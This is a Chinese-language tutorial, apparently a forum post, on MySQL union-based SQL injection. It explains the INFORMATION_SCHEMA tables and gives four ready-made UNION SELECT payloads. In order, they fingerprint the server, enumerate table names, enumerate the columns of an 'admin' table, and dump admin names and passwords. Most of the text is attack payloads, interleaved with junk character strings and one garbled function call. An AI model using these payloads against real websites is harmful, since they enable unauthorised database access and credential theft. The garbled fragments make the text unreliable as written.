mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法
5 s( v0 |1 C: T0 }
: \& P4 Z+ i3 L学习盲注前先了解下 IFORMATION_SCHEMA 库

( R% X2 t; P' L" i0 i8 Q. s$ QMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
% C, H. g! i9 L7 F6 F存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
3 p3 H1 }7 ~7 ^2 q1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
|---字段：SCHEMA_NAME ->数据库名称
1 X, G7 w, T: X) x: U% Q% @0 q
|TABLES ->存储表名
7 L0 r" {# ~! m; p% ||---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
  Z4 |( u( f. \" j5 I/ c|---字段：TABLE_NAME ->存储表的表名

8 [0 S+ [) ^  U0 \9 m* ^7 h|COLUMNS ->存储的字段名表
. |+ t4 x# |/ p% f- k4 ^4 q. c# f|---字段：TABLE_SCHEMA ->该字段所属数据库名
|---字段：TABLE_NAME ->存储所属表的名称
$ }0 T( E( V, r6 z8 q, D4 T
|---字段：COLUMN_NAME ->该字段的名称


5 N' M4 h& y& }/ d- O$ @/ c
, l2 _' M, K3 n  _- @###########################################################################

0x001 获取系统信息:

- q" v5 n! C# [9 e) l: Sunion select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

/*

@@global.version_compile_os 获取系统版本
/ U$ ]$ u' x! q. E( S: `  E% m/ d( [6 B
' O- ]. W% f- m2 ]: S+ B( C@@datadir 数据库路径
database() 当前数据库名称
' ~5 a& i& k5 q$ c7 c+ O! B* b0x3c62723e 换行HEX值
& ]) ]+ z$ g( Q$ ~' J
*/
4 r' e! ]2 S, I# n3 y( U" @
% f2 |. p: N: B5 `0 r
: u/ G8 d# o- n3 ~
######################################################################

4 D1 o$ v2 `+ h: P3 f' ~8 G0 o  J/ {0x002 获取表名
6 n2 ~7 Q; G5 P$ ?  h. h
8 {2 d8 D& w; ~  B. Xunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
  z& s1 d' ^; V( K" A! g7 g

9 A: I8 N% R/ |0 T, N3 P0 Y
' _8 M7 s  |; M; ?4 ^6 L/*
! I+ Y5 f7 D! w+ A1 U1 K
0x67617264656e 为当前数据库名
4 M: X6 b: J1 ^. i: R: P
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名

*/
3 G: @- z  s: G# m$ b
3 i" H$ m9 T* Y( S+ l% b) d3 K2 f######################################################################


* e* Y6 T, V! B" K# W1 r/ g
0x003 获取字段

union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*

/*

+ w$ D5 R& w5 l  s6 X8 t4 C, h6 `group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

+ [) x" ]5 f% u* r) i+ `- a% o0x61646d696e ->选择一个表

- A" V7 y5 C- E6 r* }0 T% [* z3 F! [4 g0x67617264656e ->数据库名

3 m9 {+ N5 ~1 e*/

7 e' {& I1 B& F0 N' n1 ?4 Y# P* T#####################################################################
, M3 n2 x4 C' |+ q. U4 G


0x004 获取数据
7 u+ H7 x  J7 p
union select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

& o9 e! I1 Z9 h% Z' ]& k0 S( Dunion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin


0 ^$ o5 ~1 c- X7 s2 W3 ^
/*
# U+ W2 o; m% Y0 n$ I
- h6 Z3 Y7 R1 s0x3c62723e 换行符号HEX编码

* b; i0 y' |7 W3 U  X* Qgroup_concat 同时获得该字段所有数据

$ }% d. x, {8 G) d8 Y*/
% t0 z+ X# U+ f
; i4 ]0 g/ f) Q! Q) ~